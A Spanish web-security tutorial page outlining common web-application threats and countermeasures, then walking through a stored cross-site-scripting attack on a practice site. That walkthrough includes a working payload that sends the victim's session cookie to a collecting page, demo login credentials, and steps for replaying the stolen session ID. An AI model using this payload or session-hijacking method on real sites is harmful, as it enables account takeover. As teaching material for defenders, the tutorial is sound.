¿Cómo hackear un sitio web? Más ejemplo de pirateo en línea

Más personas tienen acceso a Internet que nunca, esto ha llevado a muchas organizaciones a desarrollar aplicaciones basadas en web que los usuarios pueden usar en línea para interactuar con la organización.

El código mal escrito para aplicaciones web puede ser explotado para obtener acceso no autorizado a datos confidenciales y servidores web.

En este tutorial aprenderá cómo hackear sitios web, y le presentaremos las técnicas de piratería de aplicaciones web y las contramedidas que puede poner en marcha para protegerse contra tales ataques.

Contenido pendiente de una última revisión.

¿Qué es una aplicación web? ¿Qué son las amenazas web?

Una aplicación web (también conocida como sitio web) es una aplicación basada en el modelo cliente-servidor. El servidor proporciona el acceso a la base de datos y la lógica empresarial. Está alojado en un servidor web. La aplicación cliente se ejecuta en el explorador web cliente. Las aplicaciones web generalmente se escriben en lenguajes como Java, C # y VB.Net, PHP, ColdFusion Markup Language, etc. Los motores de base de datos utilizados en las aplicaciones web incluyen MySQL, MS SQL Server, PostgreSQL, SQLite, etc.

La mayoría de las aplicaciones web están alojadas en servidores públicos accesibles a través de Internet. Esto los hace vulnerables a los ataques debido a la fácil accesibilidad. Las siguientes son amenazas comunes de aplicaciones web.

  • Inyección SQL: el objetivo de esta amenaza podría ser eludir los algoritmos de inicio de sesión, sabotear los datos, etc.
  • Ataques de denegación de servicio: el objetivo de esta amenaza podría ser denegar a los usuarios legítimos el acceso al recurso.
  • Cross Site Scripting XSS: el objetivo de esta amenaza podría ser inyectar código que se pueda ejecutar en el navegador del lado del cliente.
  • Envenenamiento de cookies / sesiones: el objetivo de esta amenaza es modificar las cookies / datos de sesión por parte de un atacante para obtener acceso no autorizado.
  • Manipulación de formularios: el objetivo de esta amenaza es modificar los datos de los formularios, como los precios en las aplicaciones de comercio electrónico, para que el atacante pueda obtener artículos a precios reducidos.
  • Inyección de código: el objetivo de esta amenaza es inyectar código como PHP, Python, etc. que se puede ejecutar en el servidor. El código puede instalar puertas traseras, revelar información confidencial, etc.
  • Desfiguración: el objetivo de esta amenaza es modificar la página que se muestra en un sitio web y redirigir todas las solicitudes de página a una sola página que contenga el mensaje del atacante.

¿Cómo proteger tu sitio web contra los hacks?

Una organización puede adoptar la siguiente directiva para protegerse contra ataques a servidores web.

  • Inyección SQL: desinfectar y validar los parámetros del usuario antes de enviarlos a la base de datos para su procesamiento puede ayudar a reducir las posibilidades de ser atacado a través de la inyección SQL.
  • Los motores de base de datos como MS SQL Server, MySQL, etc. admiten parámetros y declaraciones preparadas. Son mucho más seguros que las instrucciones SQL tradicionales

  • Ataques de denegación de servicio: los firewalls se pueden usar para eliminar el tráfico de direcciones IP sospechosas si el ataque es un simple DoS. La configuración adecuada de las redes y el sistema de detección de intrusiones también pueden ayudar a reducir las posibilidades de que un ataque DoS tenga éxito.
  • Cross Site Scripting: validar y desinfectar encabezados, parámetros pasados a través de la URL, parámetros de formulario y valores ocultos puede ayudar a reducir los ataques XSS.
  • Envenenamiento de cookies / sesiones: esto se puede prevenir cifrando el contenido de las cookies, agotando el tiempo de las cookies después de algún tiempo, asociando las cookies con la dirección IP del cliente que se utilizó para crearlas.
  • Templado de formularios: esto se puede evitar validando y verificando la entrada del usuario antes de procesarla.
  • Inyección de código: esto se puede evitar tratando todos los parámetros como datos en lugar de código ejecutable. La desinfección y la validación se pueden utilizar para implementar esto.
  • Desfiguración: una buena política de seguridad de desarrollo de aplicaciones web debe garantizar que selle las vulnerabilidades comúnmente utilizadas para acceder al servidor web. Esta puede ser una configuración adecuada del sistema operativo, el software del servidor web y las mejores prácticas de seguridad al desarrollar aplicaciones web.

Trucos de piratería de sitios web: Hackear un sitio web en línea

En este escenario práctico de piratería de sitios web, vamos a secuestrar la sesión de usuario de la aplicación web ubicada en www.techpanda.org. Utilizaremos secuencias de comandos entre sitios para leer el ID de sesión de cookies y luego lo usaremos para suplantar una sesión de usuario legítima.

La suposición hecha es que el atacante tiene acceso a la aplicación web y le gustaría secuestrar las sesiones de otros usuarios que utilizan la misma aplicación. El objetivo de este ataque podría ser obtener acceso de administrador a la aplicación web asumiendo que la cuenta de acceso del atacante es limitada.

Empezar

  • Abrir http://www.techpanda.org/
  • Para fines prácticos, se recomienda encarecidamente obtener acceso mediante inyección SQL.
  • El correo electrónico de inicio de sesión es admin@google.com,la contraseña es Password2010
  • Si ha iniciado sesión correctamente, obtendrá el siguiente panel de control
  • Haz clic en Agregar nuevo contacto
  • Escriba lo siguiente como nombre de pila.
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Oscuro</a>

El código anterior utiliza JavaScript.Agrega un hipervínculo con un evento onclick

.

Cuando el usuario desprevenido hace clic en el enlace, el evento recupera el ID de sesión de la cookie PHP y lo envía a la página snatch_sess_id.php junto con el ID de sesión en la URL.

  • Ingrese los detalles restantes, por ejemplo, como te indico: Last Name: Modo Mobile: Cifra de 11 números Email: msengerc_s493d@hrepy.com
  • Haz clic en Guardar cambios.
  • El panel de control ahora se verá como la siguiente pantalla.
  • Dado que el código de script entre sitios se almacena en la base de datos, se cargará cada vez que los usuarios con derechos de acceso inicien sesión.
  • Supongamos que el administrador inicia sesión y hace clic en el hipervínculo que dice Oscuro.
  • Él / ella obtendrá la ventana con el ID de sesión que se muestra en la URL.

Nota

: el script podría estar enviando el valor a algún servidor remoto donde se almacena el PHPSESSID y luego el usuario redirigido de nuevo al sitio web como si nada hubiera pasado.

Nota: el valor que obtienes puede ser diferente del de este tutorial de piratería de páginas web, pero el concepto es el mismo.

Suplantación de sesión con Firefox y el complemento Tamper Data

El diagrama de flujo a continuación muestra los pasos que debe seguir para completar este ejercicio.

  • Necesitarás el navegador web Firefox para esta sección y el complemento Tamper Data.
  • Abra Firefox e instale el complemento Tamper Data.
  • Haz clic en el menú de herramientas y luego seleccione Tamper Data como se muestra a continuación.
  • Obtendrás una ventana. Nota: Si Windows no está vacío, presione el botón Borrar.
  • Haz clic en el menú Iniciar Tamper.
  • Vuelve al navegador web Firefox, escriba http://www.techpanda.org/dashboard.php luego presione la tecla Enter para cargar la página.
  • Obtrendrás una nueva ventana que tiene tres (3) opciones. La opción Tamper le permite modificar la información del encabezado HTTP antes de enviarla al servidor.
  • Haz clic en él.
  • Copie el ID de sesión php que copió de la URL del ataque y péguelo después del signo igual. Su valor ahora debería verse así.

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

  • Haz clic en el botón Aceptar.
  • Volverá a aparecer la ventana emergente de datos de Tamper.
  • Desmarca la casilla de verificación que pregunta ¿Continuar manipulando?
  • Haz clic en el botón enviar cuando haya terminado.

*Nota: *: No iniciamos sesión, suplantamos una sesión de inicio de sesión utilizando el valor PHPSESSID que recuperamos mediante secuencias de comandos entre sitios.

Resumen

  • Una aplicación web se basa en el modelo servidor-cliente. El lado del cliente utiliza el navegador web para acceder a los recursos del servidor.
  • Las aplicaciones web suelen ser accesibles a través de Internet. Esto los hace vulnerables a los ataques.
  • Las amenazas de aplicaciones web incluyen inyección SQL, inyección de código, XSS, desfiguración, envenenamiento de cookies, etc.
  • Una buena política de seguridad al desarrollar aplicaciones web puede ayudar a que sean seguras.

? Libro Hacking desde 0


? Herramientas Hacking ? Recursos Hacking


?‍♀️ Cursos Seguridad en Red ? Cursos RedesCursos Servicios en Nube ?‍♂️ Libros Seguridad y Criptografía

Relacionado

ForEach de Javascript: Array para bucles

Como una de las estructuras de control básicas en la programación, los bucles son casi una adición diaria al código que escribimos. El bucle forEach clásico es uno de los primeros fragmentos de código que aprendemos a escribir como programadores. Si fueras un desarrollador de Javascript, sabrías que Javascript no es ajeno a la iteración a través de los elementos de una matriz o un mapa ¡SEGUIR LEYENDO!

10 Mejores alternativas de Sci-hub para descargar artículos de investigación gratis

Como sabemos, Sci-hub es un sitio web increíble con millones de artículos de investigación para todos los estudiantes universitarios y académicos. El sitio web de Sci-Hub se encarga de obtener los artículos de investigación y artículos de pago utilizando las credenciales que se filtran. La fuente de credenciales utilizada por este sitio web no está clara. Sin embargo, se supone que muchas de ellas son donadas, ¡SEGUIR LEYENDO!

10 Características Sorprendentes de Windows que Deberías Conocer en 2024

Aunque haya sido usuario de Windows durante décadas, el sistema operativo es tan amplio y complejo que siempre existen características útiles, pero menos conocidas, que podrían sorprenderte. En este sentido, he identificado diez funciones poco conocidas de Windows que pueden potenciar su eficiencia, comodidad e incluso su experiencia de uso lúdico en su PC.

¡REBAJADO!
Microsoft Surface Go 2 - Portátil 2 en 1 de 10.5 pulgadas Full HD, Wifi, Intel...
  • Procesador Dual-Core Intel Pentium Gold 4425Y (2...
  • Memoria RAM de 8 GB LPDDR3
  • Disco SSD de 128 GB
Todas estas características deberían ser compatibles tanto con Windows 10 ¡SEGUIR LEYENDO!
10 Criptomonedas con Potencial de Crecimiento de Futuro

El rumor en torno a las criptomonedas no se desvanece por mucho que existan grandes pesimistas alrededor de los malos rumores. Entonces, si consideras invertir en el mundo de las criptomonedas, deberías estar atento a las criptomonedas que se espera que tengan un buen desempeño para el resto de 2021. En los últimos tiempos, los tokens DeFi están recibiendo toda la atención y es más que ¡SEGUIR LEYENDO!

10 Empresas de robótica más importantes del mundo

Los cambios de paradigma revolucionarios debido a los desarrollos de la robótica en todo el mundo están generando nuevos puntos de vista en muchos sectores, entre ellos en los de la industria y la tecnología. Con la ayuda de la Inteligencia Artificial, la tecnología produce resultados innovadores cada segundo y el campo de la robótica define y reconfigura su uso a cada instante. Cada día que ¡SEGUIR LEYENDO!

10 Frameworks que los Desarrolladores de Software deberían Aprender 2024

Bienvenidos desarrolladores web y de software, estamos en los inicios de 2023 y es posible que muchos se esten planteado sus objetivos para lo largo del año. Con anterioridad ya he compartidos las rutas de aprendizaje para un desarrollador front-end, un desarrollador full-stack o un desarrollador back-end entre otros muchos contenidos más. En este artículo, me gustaría compartir algunos de los mejores frameworks y bibliotecas para ¡SEGUIR LEYENDO!

10 Repositorio de GitHub que todo Desarrollador Web debería conocer

GitHub es el lugar que debes buscar cuando intentas mejorar como desarrollador, toda la información que necesitas está disponible en algún repositorio que alguien ya se ha molestado en indexar. Sin embargo, la parte complicado es encontrar el repositorio más adecuado. Es fácil sentirse perdido en todos los repositorios disponibles dentro de GitHub. Para ayudarte, he elaborado una lista de 10 repositorios de GitHub que pueden ¡SEGUIR LEYENDO!

Salir de la versión móvil